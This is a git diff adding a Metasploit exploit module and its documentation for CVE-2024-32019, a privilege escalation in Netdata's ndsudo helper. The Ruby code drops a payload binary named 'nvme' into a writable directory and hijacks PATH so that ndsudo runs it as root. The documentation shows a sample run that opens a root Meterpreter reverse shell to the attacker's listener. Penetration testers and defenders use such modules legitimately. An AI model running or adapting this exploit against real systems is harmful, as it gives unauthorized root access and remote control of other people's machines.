diff --git a/documentation/modules/exploit/linux/local/ndsudo_cve_2024_32019.md b/documentation/modules/exploit/linux/local/ndsudo_cve_2024_32019.md new file mode 100644 index 0000000000..7cfb5ab858 --- /dev/null +++ b/documentation/modules/exploit/linux/local/ndsudo_cve_2024_32019.md @@ -0,0 +1,62 @@ +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +Installation steps: + +1. `sudo apt install cmake libelf-dev git bison flex build-essential libssl-dev libsystem-dev liblz4-dev libzstd-dev libbrotli-dev uuid-dev libuv1-dev` +1. `wget https://github.com/netdata/netdata-nightlies/releases/download/v1.45.0-8-nightly/netdata-latest.tar.gz` +1. `gunzip netdata-latest.tar.gz` +1. `tar -xf netdata-latest.tar` +1. `cd netdata-v1.45.0-8-g5803c7766/` +1. `sudo ` + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options + + +### WritableDir + +A path where malicious `nvme` binary will be stored. This path will be later prepended to `$PATH` variable to achieve privilege escalation. + +### NdsudoPath + +A path to `ndsudo` binary. + + +## Scenarios + + +``` +msf exploit(linux/local/ndsudo_cve_2024_32019) > run verbose=true +[*] Started reverse TCP handler on 192.168.3.7:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Vulnerable binary detected +[*] Creating malicious file at /tmp/nvme +[*] Writing '/tmp/nvme' (250 bytes) ... +[*] Executing.. +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 10.5.134.200 +[+] Deleted /tmp/nvme +[*] Meterpreter session 3 opened (192.168.3.7:4444 -> 10.5.134.200:53172) at 2025-08-11 11:05:24 +0200 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 10.5.134.200 +OS : Ubuntu 20.04 (Linux 5.13.0-1021-oem) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/local/ndsudo_cve_2024_32019.rb b/modules/exploits/linux/local/ndsudo_cve_2024_32019.rb index d94605370a..3cd239075c 100644 --- a/modules/exploits/linux/local/ndsudo_cve_2024_32019.rb +++ b/modules/exploits/linux/local/ndsudo_cve_2024_32019.rb @@ -6,20 +6,12 @@ class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html - # includes: is_root? include Msf::Post::Linux::Priv - # includes: has_gcc? include Msf::Post::Linux::System - # includes: kernel_release include Msf::Post::Linux::Kernel - # includes writable?, upload_file, upload_and_chmodx, exploit_data include Msf::Post::File - # includes generate_payload_exe include Msf::Exploit::EXE - # includes register_files_for_cleanup include Msf::Exploit::FileDropper - # includes: COMPILE option, live_compile?, upload_and_compile - # strip_comments include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck @@ -31,46 +23,28 @@ class MetasploitModule < Msf::Exploit::Local # vuln type, class. Preferably apply # some search optimization so people can actually find the module. # We encourage consistency between module name and file name. - 'Name' => 'Sample Linux Priv Esc', + 'Name' => 'Netdata ndsudo privilege escalation', 'Description' => %q{ - This exploit module illustrates how a vulnerability could be exploited - in an linux command for priv esc. + TODO }, 'License' => MSF_LICENSE, - # The place to add your name/handle and email. Twitter and other contact info isn't handled here. - # Add reference to additional authors, like those creating original proof of concepts or - # reference materials. - # It is also common to comment in who did what (PoC vs metasploit module, etc) + 'Author' => [ 'msutovsky-r7', # msf module 'mia-0' # security researcher ], 'Platform' => [ 'linux' ], - # from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit - # may only apply to say ARCH_PPC or something else, where a specific arch is required. - # A full list is available in lib/msf/core/payload/uuid.rb 'Arch' => [ ARCH_X86, ARCH_X64 ], - # What types of sessions we can use this module in conjunction with. Most modules use libraries - # which work on shell and meterpreter, but there may be a nuance between one of them, so best to - # test both to ensure compatibility. 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], - # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access - # since privilege escalation modules typically result in elevated privileges, this is - # generally set to true 'Privileged' => true, 'References' => [ - [ 'OSVDB', '12345' ], - [ 'EDB', '12345' ], - [ 'URL', 'http://www.example.com'], + [ 'URL', 'https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93'], [ 'CVE', '2024-32019'] ], 'DisclosureDate' => '2024-04-12', - # Note that DefaultTarget refers to the index of an item in Targets, rather than name. - # It's generally easiest just to put the default at the beginning of the list and skip this - # entirely. 'DefaultTarget' => 0, - # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html + # TODO 'Notes' => { 'Stability' => [], 'Reliability' => [], @@ -78,54 +52,38 @@ class MetasploitModule < Msf::Exploit::Local } ) ) - # force exploit is used to bypass the check command results + register_advanced_options [ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('NdsudoPath', [ true, 'A path to ndsudo binary on the target system', '/usr/libexec/netdata/plugins.d/ndsudo']) ] end def check - - release = kernel_release - begin - if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') || - Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0') - return CheckCode::Safe("Kernel version #{release} is not vulnerable") - end - rescue ArgumentError => e - return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}") - end - vprint_good "Kernel version #{release} appears to be vulnerable" - - # Check the app is installed and the version, debian based example - package = cmd_exec('dpkg -l example | grep \'^ii\'') - if package&.include?('1:2015.3.14AR.1-1build1') - return CheckCode::Appears("Vulnerable app version #{package} detected") - end - - CheckCode::Safe("app #{package} is not vulnerable") + # could not find reasonable way to get version + CheckCode::Safe('Vulnerable binary not detected, check NdsudoPath option') unless file?(datastore['NdsudoPath']) + CheckCode::Appears('Vulnerable binary detected') end def exploit - + base_dir = datastore['WritableDir'] if !datastore['ForceExploit'] && is_root? - fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override') end unless writable? base_dir - fail_with Failure::BadConfig, "#{base_dir} is not writable" + fail_with(Failure::BadConfig, "#{base_dir} is not writable") end executable_path = "#{base_dir}/nvme" + vprint_status("Creating malicious file at #{executable_path}") - upload_and_chmodx(executable_path, generate_payload_exe) - + fail_with(Failure::PayloadFailed, 'Failed to upload malicious binary') unless upload_and_chmodx(executable_path, generate_payload_exe) register_files_for_cleanup(executable_path) - timeout = 30 - print_status 'Launching exploit...' - output = cmd_exec "PATH=#{base_dir}:$PATH /usr/libexec/netdata/plugins.d/ndsudo nvme-list", nil, timeout - output.each_line { |line| vprint_status line.chomp } + vprint_status('Executing..') + + cmd_exec("PATH=#{base_dir}:$PATH #{datastore['NdsudoPath']} nvme-list") end end